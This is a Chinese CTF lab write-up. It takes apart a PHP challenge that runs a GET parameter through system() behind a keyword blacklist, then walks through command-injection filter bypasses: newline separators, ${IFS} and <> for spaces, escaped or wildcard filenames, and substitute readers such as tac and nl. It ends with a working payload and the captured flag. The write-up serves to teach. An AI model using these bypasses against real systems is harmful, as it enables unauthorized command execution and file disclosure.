源码:
if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){ system($c." >/dev/null 2>&1"); } }else{ highlight_file(__FILE__); }
先把过滤的语句列出来(不区分大小写):
; cat flag 空格 [0-9] $ * more less head sort tail sed cut awk strings od curl `(反引号) % %09 %26
这里被过滤的也要学习一下,因为有些也是可以拿来读取文件的命令
查看目录文件的命令还能用,分号被过滤,这里有点像sql注入,替换成%0a(换行符),命令不能多行输入
?c=ls%0A
拓展思考(以下语句可能需要PHP环境及linux系统)
1.cat读取符被过滤了咋办,替换成其他的,tac和cat类似,nl也可以读取内容,但会多显示行数
2.空格被过滤,可以使用<>绕过,或者在url中使用%09(Tab),%20(space)进行绕过
分号被过滤,使用%0a绕过
如果<>也被过滤,可以使用$IFS,这是在shell中定义的环境变量用于内部字段分隔符,举例:
?c=nl${IFS}fla\g.php%0a
如果过滤的很简单,通配符反引号(`)就够用了:
?c=cat`flag.php`;
3.flag关键字被过滤
常用通配符,进行匹配文件
匹配任何字符串/文本,包括空字符串;
*代表任意字符(0个或多个) ls file * ? 匹配任何一个字符(不在括号内时)?代表任意1个字符 ls file 0 [abcd] 匹配abcd中任何一个字符 [a-z] 表示范围a到z,表示范围的意思 []匹配中括号中任意一个字符 ls file 0
比如新建一个k2文件
4.常见读取命令都被过滤
more:一页一页的显示档案内容 less:与 more 类似 head:查看头几行 tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示 tail:查看尾几行 nl:显示的时候,顺便输出行号 od:以二进制的方式读取档案内容 vi:一种编辑器,这个也可以查看 vim:一种编辑器,这个也可以查看 sort:可以查看 uniq:可以查看 file -f:报错出具体内容
做到这样的话已经很绝了,但是我们能根据flag的特性进行绕过
grep test *file #在当前目录中,查找后缀有 file 字样的文件中包含 test 字符串的文件,并打印出该字符串的行
grep '{' flag.php,*搭配其他语句达成绕过
5.命令不回显
>/dev/null 2>&1不进行回显
使用命令分隔
; //分号 | //只执行后面那条命令 || //只执行前面那条命令 & //两条命令都会执行 && //两条命令都会执行
cat flag.php||
回到原题,使用payload:
?c=tac<>fla\g.php%0A
得到
$flag="flag{bed1dcd5-5b0c-4ccd-b9b6-3d2937cc5127}"; */ # @link: https://ctfer.com # @email: h1xa@ctfer.com # @Last Modified time: 2020-09-05 20:49:53 # @Last Modified by: h1xa # @Date: 2020-09-05 20:49:44 # @Author: h1xa # -*- coding: utf-8 -*- /*
还有尖括号在linux表示传递的意思,不写右尖括号也可以
>` `<` `<>` 为重定向符
但是不能定位错输出的语句